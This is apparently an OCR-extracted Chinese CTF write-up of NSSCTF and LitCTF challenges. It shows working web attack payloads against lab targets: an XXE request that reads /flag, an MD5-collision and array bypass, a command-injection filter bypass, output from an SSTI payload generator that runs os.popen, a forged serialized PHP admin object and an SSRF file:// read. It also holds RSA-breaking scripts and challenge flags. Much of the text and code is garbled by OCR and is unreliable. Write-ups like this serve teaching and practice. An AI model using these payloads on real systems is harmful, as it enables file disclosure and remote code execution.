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SEXE: https://blog.csdn.net/qq_45521281/article/details/106112654

Raw | &# | % | Hex | XML

Raw | % | Hex | XML | Render

POST idoLogin.php HTTPM 1

Host: node3 .anna.nssctf.cn:28952

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: applicationixml, texthml, **; g=0.01

Accept-Language: zh-CN,zh;g=0.8,zh-TW;q=0.7 zh-HK;q=0 5 gn-US;¢=0 3 eng=0.2
Accept-Encoding: gzip, deflate

Content-Type: applicationfxml,charset=utf-8

¥-Reguested-With: XMLHitpRequest

Content-Length: 128

Origin: http: inode3.anna nssctf.cn: 28952

Connection: close

Referer: hitp: inode3.anna.nssctf.cn: 28952/

Priority: u=1

<IDOCTYPE ANY [
<IENTITY test SYSTEM "file: /ifflag"=
1=

=USEr=<Usern; test; <fusername=<p: rel=123</p rd=<juser=

xet IS —H KT, MBEAEE T

<!DOCTYPE ANY [

1
2
3 1>
4

T

<!ENTITY test SYSTEM "file:///flag">

HTTP/ .1 200 OK

Server: nginx/.20.2

Date: Sat, 01 Jun 2024 03:56:04 GMT
Content-Type: texthtml, charset=utf-8
Connection: close

¥-Powered-By: PHP/7.3.33
Content-Length: 87

<result=<code=0</code=<msg=NSSCTF{91 hbhha-iﬁed—dhll?-shfli-525b4332499e)|
</msg=<fresult=

et
L XMLHtpRecuest
g 128

<user><username>&test;</username><password>123</password></user>

BAETHIER


https://blog.csdn.net/qq_45521281/article/details/106112654

e -5
<{?php
error_reporting (0) ;

$a = $_GET[a'l;
$b = $_GET|:}b}:|,
$c¢ = $ CET[ ' 1;
if ($a !== $b && mdb($a) == md5(S$b)) |
if (lis_numeric($c) && $c > 2024) |
echo "IFEEM”;
b else |
die("TEZTEZAE™);
}
}
else {
die ("JF /M) ") ;
]
FE)
o $afi$bFIEE,

$aFfISbHIMDSIE HEIEE .

$chB— T8 F, HEKTF2024

EANSHa=s1885207154a, b=s1836677006a, cRAEZT
payload:?a=s1885207154a&b=s1836677006a&¢c[]=2024



$a = $_GET['a’)
$b = $_GET['Db']
Sc = $.GET[c’I:
if (8a !'== $b && md5($a) == md5(8b)) {
if (lis_numeric($c) && $ec 2024) {
echo "HfFHEM”;
else {
die("FEZTEZEE™):
else { i
‘ die("JF B
./dollar.php
HackBar
Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other~
& Load URL http://node1.anna.nssctf.cn:28547/?a=s1885207154a&b=s1836677006a&c[]=2024|
& spiit URL
pli y
@Execule
[J Postdata [] Referer [] User Agent [] Cookies Add Header Clear All
H Upgrade-Insecure-Requests: 1
H Connection: keep-alive
[}
S
e j5[a) /dollar.php
{?php
error reporting(0) ;
if (isset($ GET['x" 1)) {
$x = S GET['x'1;
if (!preg match("/[a—=20-9; [# \"%&\x09\x0a><. , 2\—=\\[\]11/1", $x)){
system(“cat . $x.”.php”);
Jelse{
highlight_file(_ FILE );
2
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& Windows PowerShell

WARNING: [full_payload_gen] | Generated expression '%c' is too simple, skip it.

INFO: [payload_gen] | Great, string('echo f3n jlng;') can be 'echo f3n jlng;®
WARNING: [full_payload_gen] | Generated expression 'echo f3n jlng;' is too simple, skip it.
INFO: [full_payload_gen] | Start generating final expression...

INFO: [payload_gen] | Great, we generate module_os()

INFO: [payload_gen] | Great, we generate os_popen_obj('echo ¥3n jlng;')

INFO: [payload_gen] | Great, we generate os_popen_read('echo f3n jlng;')

INFO: [cracker] | Testing generated payload.

INFO: [cracker] | Success! Now we can generate payloads.

Example/m= 4 :

$>>1s /

$>> f@eval 1+2+3+100000

$>> @get-config

Type @help for full help/igi A @helpiriS &

$>> 1s /

INFO: [full_payload_gen] | Adding some string variables...

WARNING: [full_payload_gen] | Generated expression 1 is too simple, skip it.

WARNING: [full_payload_gen] | Generated expression U4 is too simple, skip it.

WARNING: [full_payload_gen] | Generated expression 37 is too simple, skip it.
WARNING: [full_payload_gen] | Generated expression 128 is too simple, skip it.
WARNING: [full_payload_gen] | Generated expression 'urlencode' is too simple, skip it.
WARNING: [full_payload_gen] | Generated expression '%' is too simple, skip it.
WARNING: [full_payload_gen] | Generated expression 'c' is too simple, skip it.
WARNING: [full_payload_gen] | Generated expression '%c' is too simple, skip it.
WARNING: [full_payload_gen] | Generated expression '__' is too simple, skip it.
WARNING: [full_payload_gen] | Generated expression 'class' is too simple, skip it.
WARNING: [full_payload_gen] | Generated expression 'globals' is too simple, skip it.
WARNING: [full_payload_gen] | Generated expression 'init' is too simple, skip it.
WARNING: [full_payload_gen] | Generated expression 'dict' is too simple, skip it.
WARNING: [full_payload_gen] | Generated expression 'builtins' is too simple, skip it.

&' Windows PowerShell

<body>
<div class="container">
<h1>[ElFEit</hl1>
<p>FNEIZE: app
bin
boot
dev
docker-entrypoint.sh
etc
flag
home
lib
libsU
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
</p>
<a href="/">Hif{—RX</a>
</div>
</body>
</html>




& windows PowerShell X +

box-shadow: @ 8 18px rgba(®, B, 8, 8.1);

}
hl {
color: #333;

{
color: #555;

{
color: #9b59b6;
text-decoration: none;
font-weight: bold;
1
]
a:hover {

color: #71b7e6;
}
</style>
</head>
<body>
<div class="container">
<hl>ElAjtt</h1>
<p>1'$']{§ﬁ‘, U2 : NSSCTF{edU6b28c-58Ua-U58b-8dc7-7523dbL63200}
</p>
<a href="/">Eii
</div>
</body>
</html>
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SAS - Serializing Authentication System
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<?php
class User {
public $username;

public $password;

O 00N O UL B WN R

10 = function __construct($username, $password) {

11

12 $this—>username = $username;

13

14 $this—>password = $password;

15

16 }

17

18 function isValid() { return $this->username === 'admin' && $this—>passwor
d === 'secure_password'; }

19

20}

21

22 7>

MBEEXRIEUserk BEEMusernameZT & Lt fadmin., passwordiZ& Lfl{t fiisecure_password,

ZEHRFItBbase64, I8 KIERZBNFIGEIflag

Suser = unserialize(baseb4_decode($data));

authenticate



1 <?php

2

3 class User {

4

5 public $username = 'admin';

6 public $password = 'secure_password';

7

8 function __construct($username, $password) {

9 $this->username = $username;

10 $this—>password = $password;

11 }

12

13 = function isValid() {

14 return $this—>username === 'admin' && $this—>password === 'secure_
password';

15 }

16

17}

18

19 $data = new User('admin', 'secure_password');

20  print_r(base64_encode(serialize($data)));

21 ?>

22

23 Tzo001iJVc2VyIjoyOntz0jg6InVzZXJuYW1lIjtz0jU6ImFkbWluIljtz0jg6InBhc3N3b3JKkIj
tz0jE10iJzZWN1cmVfcGFzc3dvemQi030=

53 B thEERIE?

ssrifEATMNE iR

EENEEs

eove [file:///ﬂag| ]

NSSCTF{ef5c64a2-5e73-48ef-afa7-a49121544cf2}



crypto

small_e

B BARR TR R I H9BASC

from sympy import integer_nthroot

# Given values

n = 1904113809391575736144659691761883642432123281049008744555808344666489
46228827266131542054359933586577117812757355594092748196188241730429805569
86038895407758062549819608054613307399838408867855623647751322414190174111
52359537011366472959442025975480683465649041729217499433768367650432749310
30185062429630636713156054278670548735077203428500383075170166876594359745
62024973531717274759193577450556292821410388268243304996720337394829726453
68043275109295557551237258262469470928901940290898642970911644154433232773
89687854285016652548944446515476230085307083432106448147739339740428167038
34571427534684321229977525229

5 c_list = [438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 17715
61, 1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375,
1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375, 97029
9, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631, 1560896, 85
7375, 110592, 1061208, 857375, 1331000, 1953125]

H W N -

6

7  # Recover the plaintext message

8 flag = ''.join(chr(integer_nthroot(c, 3)[0]) for c in c_list)
9 print(flag)

10  #LitCTF{you_know_m_equ41l_cub3_root_0f_n}

small_e_plus

BRBERLGe, B URIEagh kAR LeN1924, FEEERER THFR



from Crypto.Util.number import x

n = 2628768493428853637143803022450878404287126897540279101513483890029024
96027010927024925949313065726928686544367145011960606191490208504023179822
03575250568283872182497606239389480186694649979877566740647822434500023605
87151683166209941598758980861477731359545372724353112103139010405909778246
66501862910763164862401973697595373279978806445406299642275840705069813199
36888159712058406052247256554081989035415864476278146328967410452695134756
79294210320974018633983507182858798127102723549935529854365051664310066503
97963052761637066938736115195065283444130218789801716297322115928399450048
00782325172828561339662590291
c_list = [
2206795524649235905421691489826312664535869158473992241382107452229902
62743078917822123445069921451823561269249150108230615826874561057520221017
03127629293004213120819982565578052895952569131613189676878039577841915221
97708618872099119883772100567610799038030170491575261415069363292331223848
99490995922266230790391481869200864178925845559146214614182590695466234664
78724594773768300196044493867350092746644695961627313392881627052226224640
22019805917855614180415135305122287341306358535204977475464107550060171378
72119597092799376205290172282203381737158959298481887768748849931507476184
9162622037910992107211284008,
5772355660578786193365289788142204471140300880779240030922539554921206
85080145025902794222971781655762912184382490143584536371656182065746978668
02325852567901976650534824369142403061068957836710928256147927750184527899
07242936725194811142759000550943111242261233418906869936542409260521957109
45709388007826517223014011302375602595876016203380134127727581855261917639
83623233454409437510302548264111674033697785200424258752801323290067847044
19423985932863729258308660619215866531848636409929423223281439774682034891
28822084421770594724464633781399993432605621995963319787052886725679710244
5018262011480153115939973120,
1207753724090260852409848530096938494041869666191344850580616117902540
00460221628212800019861691061362975822859915240514652885683052606916768646
80634041607331916109185338871377901980445490661768476998285841043356588724
79915611835658770230456040566481519133420435691429577114944632254145293686
21284487523602806521376432799084355320984882679072155722979579662911671632
33894851436352073913227586732246795704749827690258687848481212960904485931
04527159728316178638031965733210974157123951201010132807247490252051791615
38865593478354692568292986963063942602231797855670836273899992758149479949
2081969707506643799602026519,
2334912733526549909344906706902099211235329585893947646007113836456648
58979942529264373807885757294105338249208772217930755578032468845033187075
65286465780619451837755333889863647223503631040527885884507188543322662521
16731975034313160089169050966546106976720537162905620189737407758074828422
86051370715136436801122317200156351771985126710082069111310372465210821390

10



10

11

12

13

72649111758853436401697265407050360284081221903913252963538698624243925508
34043441584736077286869270682595425259653539392319501752096137718276293886
48072224010064109405902094783994155656442837104920275378326492119920784853
73823473694670510027091811150,
1022601914013403862437731784811515310942620272803024091905191442147076
84156041665412593090409817294293026582046088386395603232945194004898553826
83083386777345356043308705897287912341523315760693349431629528606884165134
45682922998210574822953622005383696723479346040000708855223082955697794664
20540069946243461824007139816356173801056741420961662995909246449755049275
29440869894823989816288037184537810548374154159131078285611810236360387224
73936473736921823993840187701935345225454173313584732857819847365468254786
40267531709780195869753994747683792279437634212959059437442765124872568487
53432567851910082922927470490,
2374035450916707906540546173197191675403742071619445355711057996649160
48047624368103572406044142896162348751796235468431819699099416556881938489
22121025497722570206788206574369953117810580405098086613804927789389379000
01112064658169623726373134086215759883141377258962642855235521531746144670
39782666437414591891481551101849556434164823125259326115022396960701436495
93393180531208682271982848368078201739398938285094875058820959849311021066
73804311170329062336704952363333959716660301777097467202185113297817531889
70572652941430155859337556437752223437167292953296653819697056448561662970
65958733244549838186512052385,
4490145259397176360677360152094247842198192467815761199767634797230699
21555975991244061404426209241205491628463587064147168107292515973015167075
93351305337673061297790968814719250997291422854667391485951245602053460754
82884415476810992068799885693979513040888771523647756493009422309404800958
91405872756559515878791481146087187792174110744462062133353030045674834570
61154789798522787567428210627266416446009810551323198670399063410011709182
58725259288849885670069420352207508623833267749033975083400773201636387056
64083267751275414767422570459999305221215356075828860083175263731374754412
655619766335149006888723996,
1672479474449172760042592539592724441713499550479661376254500184869185
86768553719001388827943960735898517058299779719254970982980810538303658470
44742295241579270222074264270766160828536659842604404241318349399345391073
01885480011963777184356977846919673877469124519428358915170882205475489186
08872858450799560559607993254514867032481182850667098628514574788987859282
41590593187351807366412037409877885725182051826065860998104380663508501993
85538984529624267360953879548074516383624023973413813004934727263593603479
25617252488898994286325721918691303192977657861328415112454975657717329216
02763273993266122615935214603,
8335009241673468873253675068463589266426701056401774737990647304778993
56060565534735163141663076957752242478360315309818260952299096818853519439
78123869240768098477911565685043521965799704478676065171355315658024493736
39411293098029825159629692422202058452950834073234658264013415977347155192
72016541868378473586364336816405496013851991229218692834551892265677707550
16164088028332137591052746202282016954728937610544377899766926571701114131
89445894590722931833376629118468092175170858255694444972297979072766528207

1



14

15

16

17

18

19

05645592441429493098828525318640360538372745440197331803222397879641299122
2953728595468797201373820622,
1717028738196915227260339129573501065417757436024070728399837662683474
64367672026619085268857185126008602458452823400450377020299170282873860323
64852679298603266972286406813268898457943917442069295806765376157691504840
83242039924741303807364343064097449659558370778499818290907827480001580408
52001411097908308231664749782834223661913628258516082263060824051935265426
90802039645311423864744157140791967491089401628987168171394523520620002615
48631825989143362746715121123292436275957550673873937398160148303975715603
31981973125889429653349415202577540410619517490901583144133950928002858539
9046169513149752204461930349,
6253489839553538192995294139816446969824750751774728963617638345595670
44577067750092161783721860568016974624057378983257913720623017714350069962
01110701455854613583545230039597567138301086973987625850263031966686504717
22612722372863973566811324151291707208671745892059398682725808801715988328
71956789044642098148078483395183555043335892843066754731745664699028736972
30847940202412645061546522757561232824867620239794267525882502254357847479
77075518696454125522814567504866613306081720330538332436897331017796420408
35701413000333907322904280332967094411012535321821381143234681871396487816
8764790792105206633440354005,
1207753724090260852409848530096938494041869666191344850580616117902540
00460221628212800019861691061362975822859915240514652885683052606916768646
80634041607331916109185338871377901980445490661768476998285841043356588724
79915611835658770230456040566481519133420435691429577114944632254145293686
21284487523602806521376432799084355320984882679072155722979579662911671632
33894851436352073913227586732246795704749827690258687848481212960904485931
04527159728316178638031965733210974157123951201010132807247490252051791615
38865593478354692568292986963063942602231797855670836273899992758149479949
2081969707506643799602026519,
5772355660578786193365289788142204471140300880779240030922539554921206
85080145025902794222971781655762912184382490143584536371656182065746978668
02325852567901976650534824369142403061068957836710928256147927750184527899
07242936725194811142759000550943111242261233418906869936542409260521957109
45709388007826517223014011302375602595876016203380134127727581855261917639
83623233454409437510302548264111674033697785200424258752801323290067847044
19423985932863729258308660619215866531848636409929423223281439774682034891
28822084421770594724464633781399993432605621995963319787052886725679710244
5018262011480153115939973120,
1717028738196915227260339129573501065417757436024070728399837662683474
64367672026619085268857185126008602458452823400450377020299170282873860323
64852679298603266972286406813268898457943917442069295806765376157691504840
83242039924741303807364343064097449659558370778499818290907827480001580408
52001411097908308231664749782834223661913628258516082263060824051935265426
90802039645311423864744157140791967491089401628987168171394523520620002615
48631825989143362746715121123292436275957550673873937398160148303975715603
31981973125889429653349415202577540410619517490901583144133950928002858539
9046169513149752204461930349,

12



20

21

22

23

24

1695425721460971545394944931969933916149423285556931022893351050750417
15041264692060918743712447902655927610156132564035174712910155113383467654
42554575984841436537843152588028133877350821930031082920487532579036233128
79694376846207565851796354435157686708057083510812317212767856130749000561
87424269405554859155734217900507231717014831412698004312625042780041478866
95150170337842904413809555649193394856219267444671017423976317095448634183
23806310491060237696865411382585675356885618145566679655565240290580845811
45165617734179529913269535377504342186241223189953684779916590404817042125
71743288062208854477599259233,

1672479474449172760042592539592724441713499550479661376254500184869185
86768553719001388827943960735898517058299779719254970982980810538303658470
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85631330984559239264085650417594923421679496390847591303776199336040712595
26079439430837003820067830914437566178775664221652994229929873368114749802
84131306966940424642139162441283769172531199959298540627795873212152702317
44045307956609617483564714766569567909494313767153212463686312845700671421
14651192867767473105034521300416492791237538485220798862167327195722470004
81047269505214596261386534160935834909921155351371984109147724730932926711
83169075200357727201865501364735205556108085757952266768458112359415978801
1149227192380455462896729962,

2089794783693207677996482738468026666944487254124259558485354481084766
07818092558119023794027272659841459727175582082166278683514762624754241812
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51

52
53
54
55
56
57
58
59
60
61
62
63

41317707734298108218231636329375895362429626917095073694210812814494087830
53501411788401393678728544046717174276163188490192907848885620428973844906
19598223887253332742578610991693774354004659986626126181156815197736251824
56433449001773543437767201553703283209697249003117284877232666946456539017
19439716608895733010038877664554334246218848309115044136982423542706144322
94290255341946188064601878124466330576733880681418041895030747397679118380
28579099128625845793341901127,
1158531838931008228963453843692872926076190775495473198948365438425116
50001972136452813703513970285393661284036621739115622391433218952467543396
72995138654604980948825905276968754585440593530502031072587489418651687027
54652226963403579199610288596068696931622673235631710988186377973422446839
55195031319723891189863681904430325760709414284870544506513287733949855175
68216579647364967614926730248841713741600286001390136757473284393174512577
20404206029036966360470326249533020992432852312039071022862898413050068668
65833180884418750554169175201190564038414305298513649980907558049397471234
193349840810274738204560863961]
e = 1924

len(c_list)

—~

D

=
1l

for i in range(len):
c = c_list[i]
for j in range(0, 10000):
if (pow(j, e, n) == c):

common_primes

BB RSA
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from Crypto.Util.number import long_to_bytes, GCD, inverse
from math import gcd

# LATERIRSASER

nl = 633069317652618818889120080953404709787729996202051748572710161527448
20165330787864800482852578992473814976781143226630412780924144266471891939
66131271515781167481701347931698366596008766443020571350999575087766539572
16356250353569017658817500735848481764916683278365272949008318980835458838
34181689919776769

n2 = 738904122518086191648039682172124945514147864027024979034640172542637
80569629065810640215252722102084753519255771619560056118922616964068426636
69156570304669171126715644256214413965072848243704038074335259796633137028
67952491231053382830130327793524742467533861085106852247812998655604251145
68893879804036573

cl = 112730367229948619382815689790423676282770716115918461291022911594408
71997302324919023708593105900105417528793646809809850626919594099479505740
17585334294773494358694015298129868814601925371234452908685208382383730949
24668409425938437206301134949744544986643284121229791959328620288215247251
58358036734514252

Cc2 = 424786904440301018690949060053219685980608491725513825026324806177751
25215522908666432583017311390935937075283150967678500354031213909256982757
45759261057639212171381769317152065783349663563902679159721975546185428141
92076064600251568123078193509601820283950132789648093099822648797733169520
47848608898562420

e = 65537

# 1T&p
p = gcd(nl, n2)

# 1TEqlHqg2
gl =nl // p
g2 =n2 // p

# it8e(n1)FMe(n2)
phi_nl = (p - 1) % (ql - 1)
phi_n2 = (p - 1) *x (g2 - 1)

# ITHEJ1Md2
dl = inverse(e, phi_nl)
d2 = inverse(e, phi_n2)

# BRZc1fc2

ml = pow(cl, d1, nl)
m2 = pow(c2, d2, n2)

20
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CRT

# HRMBEER R (NAR—TENX)
assert ml == m2

# BRI AN FT
flag = long_to_bytes(ml)

print("Decrypted flag:", flag)
#l itCTF{cAmmiinitv wlth twn cinhert3xt}

H AP ERREIEFR KA m
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from Crypto.Util.number import long_to_bytes
import gmpy2

# BTEE
e =10
n_list = [
1628454946721545986041021959702406361047367393629035510005635127092859
03646139882438421362744043160056912288516577073210371650338708041130015509
43722154728825877813376691406849932899693973387282799799300076386870984605
58938566635282474062222987199272701198784705642985072020781604804453806862
52819770593923656980311402687878028860186986223261035908343149402801915606
18753408741810842189500991556860816195814550884416201667771827582907240044
21681770587612999303077194311009029138320572058781682033583961649125707891
82588399869421019860117618098151927134995423290378771954483811272721838073
58011340669666067708631770629
]
c_list = [
6444710042040385873585761604074174909386433060279678684868940326861457
71114614076076527690366372762614045209015175209880518279715723521182568975
22099397645110676023639091277837125074669946336609716436967278931640852007
91933701918104775804636352240926866078968638526718815438173295215893244666
28227730589108339783619357530316049670209743367574983963078106666377633552
74538469008418380493904732071187305356971743267015504586961047752604650386
85856905442545666034913578058490094476747894800611391574331569891232287688
99846183291164697221164452100037658563026884070301188916984245139290761779
580443049

]

# (ERFERIREE (CRT) FIE x
x = c_list[0] # ARNRAE-TEHEH—TEX

# ITE x BIEE e MREUR
m = gmpy2.iroot(x, e)[0]

# BERRRNFTEREREER
message = long_to_bytes(m)

# YTEDER
print(message)
#LitCTF{CRT_i5_s0_edsy!!!'}

ok Bin!
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cyberchef—1£4#2, FAmagicfilit

Download CyberChef ¥
Operations
Search.
Favourites

To Base64

From Base64.

To Hex

From Hex

To Hexdump

From Hexdump
URL Decode
Reqular expression
Entropy

Fork

Magic

From Binary.

Data format
Encryption / Encoding
Public Key
Arithmetic / Logic
Networking
Language

utits

Date / Time
Extractors
Compression
Hashing

Code tidy
Forensics
Multimedia

Other

Polynomial

BEMEAREE L,

Recipe

Deoth
3

Last build: 16 days ago - Version 10 is herel Read about the new features here

~ 0

2 [intensive mode O extensive language support

Crib (known plaintext strina or reqex)

\

AR

RIEIEFERSA

Input

01010
e0110000
e0110000
0100000
ee110001
0110000

0110000
ee110000
e0110000
©e110000
ee110000
0110001

Output

©0110001
ee100000
0110000
©0110000
ee100000
20110001

Recipe (click to load)

Fron_Binary(*Space’)
8acon_Cipher_Decode("Complete’, '6/1", false)

From_Binary("Space’)
Bacon_Cipher_Decode('Standard (I=3 and

)", e/’ false)

From_Binary("Space')

From_Binary("Space")
Bacon_Cipher_Decode(‘Complete”, 'e/1', true)

From_Binary("Space')
Bacon_Cipher_Decode("Standard (I-3 and

)", 8/1° true)

00110000 00110001 00110001 00100000 00110000
20110001 00110000 00110001 09110000 09110000
00110000 00190000 00110001 00110000 00110000
20110000 00110000 00110000 00100000 00110000
20110001 00110000 00110000 09110000 09110001

0110000

Options &8 About / Support @

+ DB w"

00110000 00110000 00110000 00110000 09100000 00110000
0100000 £0110000 00110000 00110001 09110001 09110001
00110001 001106000 00160000 00110000 99110000 001100600
00110001 00110001 00110000 00110000 09100000 00110000
0100000 ©0110000 00110000 00110000 09110000 00110000

0110001
ee100000
0110001
0110001
ee100000

©0110001
ee110000
©0110000
ee110000
ee110001

Result snippet

onsasco

-@1011 0GP0 01100 10100 GO111 GEE00 10010
00010 00000 01100 01010 10601 00000 10110

UTLY2N22TV02D
W2UM2202 2UXP2K
20001010 00110000 00110001 00110000 09110001

00110001 00106000 00110000 60110060 00110060
01100,

e e
B0D®:o:

Properties

valid UTFg
Entropy: 3

valid uTFs
Entropy: 3.6

Matching ops: Bacon Cipher Decode
valid UTFg

Entropy: 1.46

valid uTFs

Entropy: 2.84

valid UTF8

Entropy: 2.56

Matching ops: From Base64, From Binary, From
Hexdump

valid UTFg

Entropy: 1.24

@ vms T oes
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from Crypto.Util.number import x
from sympy import
from gmpy2 import

# Given polynomials

Polynomiall = 581543606807557693409548935724017486670333133541179422232583
70092578635555451803701875246040822675770820625484823955325325376503299610
64728207451218267384409901472353893584034580627932667162183488417431504265
32728458593937200440767318943873160200430305496564413668388376256872034818
96972821231596403741150142

Polynomial2 = 171692903673150731426296312524549271861303258108708311216496
91347539418939379369781780009824204969230516478258788063751602882764750509
36287173372925783593370441689283171248300230510152724299458293457336889298
92412065424786481363731277240073380880692592385413767327833405744609781605
297684139130460468105300760

Polynomial3 = 979863463225159097106027963879826576304081650056235018118211
16195049269186902123564611531712164389221482586560334051304898550068155631
79219837538550609976564872472415502283947083018819966650194716659709406623
82099360829367867927643985760455554007424894165839871596031740561836355437
96238419852007348207068832

C = 6900297692251866097793817016437787614571385530809204443960780126901216
13426213828722870549564971078807093600149349998980667982840018011505754141
62590122054654121277332761756297966005960822085187870119516225963236550973
17466822634843323276204363949128733461144512711454128821589898247038472374
37871480757404551113620810392782422053869083938928788602100916785471462523
02023271402744806944270863832304876103512175239557016760405942155926076064
5061567883338223699900

# Given values for p, g, and r

p = 7625900647186256736313352208336189136024613525845451962194744676052072
32526264653364216355309001573458496026758781389474541484303711107425873081
9958397631

g = 1310316388026764822185161729633686529573127885137348856918209954982482
69735602962478020587121972554336718255709721298911222744358896966633204908
06634737981

r = 9898805297737495640281149403465681435952383402115255751446422784763742
39589803437839939160408513719635180253993569715513722649501018432246856279
1581344399

# Compute modulus n
n=psxqs*xr

# Compute Euler's totient function
phi = (p - 1) *x (q - 1) * (r - 1)

24
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# Compute the private exponent d
= 65537
inverse(e, phi)

o M
i

# Decrypt the ciphertext
m = pow(c, d, n)

# Convert the decrypted message to bytes
flag = long_to_bytes(m)

print(flag)

#l itCTF{PATvnamidl iK% interctinal

Polynomial_plus

5PolynomialEAR %, FtEHERFSEK, AERAELP,g#iTRSA

O© 00N O Ul b W

10
11

n = 3434247876889467108287881934785183401846356304982363469076065097630118
90082198311173501834898393322176325060349656021994088578448585570427399686
92025314550443106545141232643023308407365159924866176203667184114204857305
15494741825862975650462851613756009905961194485381183272404059578451789564
27810835797220204485242640945891970398041508724313442375608608662117158013
C = 3000971520846962745160032694510373674058998747366670893583161454729771
15856239312841307278390995620995063953407731245808077915106161525019835875
97869814823861714892917025714176240751413947926786712106434216899348652988
90880676458669300297875000523901954065198966583846235751600918281731110871
20708969655686251340535134778177193882787257773427670338018428731395437974

from sympy import
from Crypto.Util.number import x*

var('k")

kxx10 + 22x%kxkx8 + 53%kkxk6 — 22xk*k4 — 39xkkx2 + 114514
k*xk9 + 10xkkx7 — 13xkkx6 — 2xkkx4 + 111kk*k2 + 1919810
solve( [pxg-n], [K])

rint(r)

k
p
q
r
p

25



n = 3434247876889467108287881934785183401846356304982363469076065097630118
90082198311173501834898393322176325060349656021994088578448585570427399686
92025314550443106545141232643023308407365159924866176203667184114204857305
15494741825862975650462851613756009905961194485381183272404059578451789564
27810835797220204485242640945891970398041508724313442375608608662117158013

2 Cc = 3000971520846962745160032694510373674058998747366670893583161454729771
15856239312841307278390995620995063953407731245808077915106161525019835875
97869814823861714892917025714176240751413947926786712106434216899348652988
90880676458669300297875000523901954065198966583846235751600918281731110871
20708969655686251340535134778177193882787257773427670338018428731395437974

3

4 from sympy import

5 from Crypto.Util.number import x

6

7  k = 17327183749088974321

8

9 p = kxx10 + 22xk*x*8 + 53xkkk6 — 22xkxk4 — 39xkxk2 + 114514

10 g = kxx9 + 10kkxk7 — 13xkkk6 — 2kk*k4 + 111xkx*x2 + 1919810

11

12 phi = (p-1)*(g-1)

13 d = inverse(65537, phi)

14 m = pow(c, d, n)

15  print(long_to_bytes(m))

16  #LitCTF{Thls_i5_a_trick_for_s@lving_polynomi41}
little_fermat

BO/NEE, AIUASEEEREDL: https://blog.csdn.net/jayql/article/details/131931855
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https://blog.csdn.net/jayq1/article/details/131931855

1 from Crypto.Util.number import x*
2  from libnum import =
3 import gmpy2
4
5 n = 1227196487466796602112721341364141023895557965758574051144969722486512
20892565781331814993584484991300852578490929023084395318478514528533234617
75971250343905833447919229758124553990295026720136267560208596442165914797
73357791285469650686492654197360534675230096730377233829693715236636747599
21589944204926693
6 ¢ = 1092158171181569173061515351992889355883584108855411503193091723665329
83941498151858496142368333375769194040807735053625645757204569614999883828
04772042748038468337543568383378068655734190940084287481685352800725897511
72657892416630685904458782411532051064443575543725666704368657229666684202
39234530554168928
7
8 p = 1107789008551175597965911032749235147544306277811364528445554289350676
80804959293513465301567209697550213389350445452567765443384088903118814373
58607694219
9 g = 1107789008551175597965911032749235147544306277811364528445554289350676
80804959293513465301567209697550213389350445452567765443384088903118814373
58607693647
10
11 a=p-1
12 phi=(p-1) % (q - 1)
13
14 e = 65537
15
16 d = inverse(e, phi)
17
18 m = pow(c, d, n)
19
20 ml=m" (p - 1)
21 m2=m" (q-1)
22
23 print(long_to_bytes(ml))
24 print(long_to_bytes(m2))
25  #LitCTF{YQu_know_1itt13_ferm4t_th3ory}
E-EasyRSA

FIEERSAFEIhintE, (FAMEhintUL I gfa
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from Crypto.Util.number import x
import libnum
import gmpy2

# EXFE
cl = 789950974645056928331752213361104446917067207846422018743187925768866
38370795877665241433503242322048462220941850261103929220636367258375223629
31388031475781928823387787104990333106126118293260353669021647246042486949
80537871478931797333027054306451819838258846457918161060805469371787218984
60776392249707560
c2 = 378470175718106542891559792727604218046107089054964616403554382126650
63715026902473471683402349333180049287185629904682812854219811577839911380
77081303219
n = 1118809033021125993618222434127778260526512614640696036712286951197299
11614927471127031113870129416452329155262786735889603893196627646342615137
28071418744662729246596688113659994237539401882884600186335423404707422484
36401450673376649943144967764390546256054217476891268168049161637932645591
88427704647589521

= 65537

# 1t8p
p = gmpy2.iroot(n, 4)[0]

# 1T&Ephi(n)
phi_n = pxk4—p**3

# it&d
d = libnum.invmod(e, phi_n)
print(f'd = {d}")

# RREBEN
m = pow(cl, d, n)
print(m)

# BRZENRKENREIREIER
message = long_to_bytes(m)

print(libnum.n2s(int(m)).decode())
#LitCTF{HeRe_1s_Weak_F1laG}hahahaha hint_is_934923324570192551412945025
55555489582661562346262162342211605562996217352449

SMn2 ZpFlhintAyFEFH, FHI1TRSA
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from Crypto.Util.number import x
import libnum
import gmpy2

cl = 789950974645056928331752213361104446917067207846422018743187925768866
38370795877665241433503242322048462220941850261103929220636367258375223629
31388031475781928823387787104990333106126118293260353669021647246042486949
80537871478931797333027054306451819838258846457918161060805469371787218984
60776392249707560

c2 = 378470175718106542891559792727604218046107089054964616403554382126650
63715026902473471683402349333180049287185629904682812854219811577839911380
77081303219

n = 1118809033021125993618222434127778260526512614640696036712286951197299
11614927471127031113870129416452329155262786735889603893196627646342615137
28071418744662729246596688113659994237539401882884600186335423404707422484
36401450673376649943144967764390546256054217476891268168049161637932645591
88427704647589521

e = 65537

#TEp

p = gmpy2.iroot(n,4)[0]

hint = 9349233245701925514129450255555548958266156234626216234221160556299
6217352449

phi_n = (p - 1) *x (hint - 1)

#RETT

d=libnum. invmod(e, phi_n)
m=pow(c2, d, pxhint)
print(long_to_bytes(m))
#LitCTF{R1ght_Answ3r!'}

BRTAR, M—7deBSEH

Isbfa g
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Extract Preview

feniisizegticn 4c6074435446Tb65 386637623236372d  LitCTF{e BETb267-
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FHBAX

BEREEaNERY, =ENd [EE| S VIEmZE. EAEStatt Rt FaEEmsCE,

R W #/X WM X W EX W EX
Aa Bb Bp Cc Dr

i Gg da Hh rcr
Kk Y9 LU J] Mm Ihs
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Uu w Ty ww Tj
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i%1E3: FLAG{GOOD_GAMER}

BRI IE N R Eflag: LitCTF{good_gamer}

Everywhere We Go

€ secret
IOEF) EEE(E) RS WEN) ESEN) hEM &6kG) WB(C HiRe) TEO) EEIH)
S eaQ el 3 v i gE s
n » « P @ [ ' iiﬂ,;; = .
£k A - ') SAEE | = o) = -48
V 1:09.0 1:10. 0 1:11. 0 1:12. 0 1:13.0 1:14. 0 1:15.0
x|==:z:: - | zecret

T SIS Bl aEE Bl flag
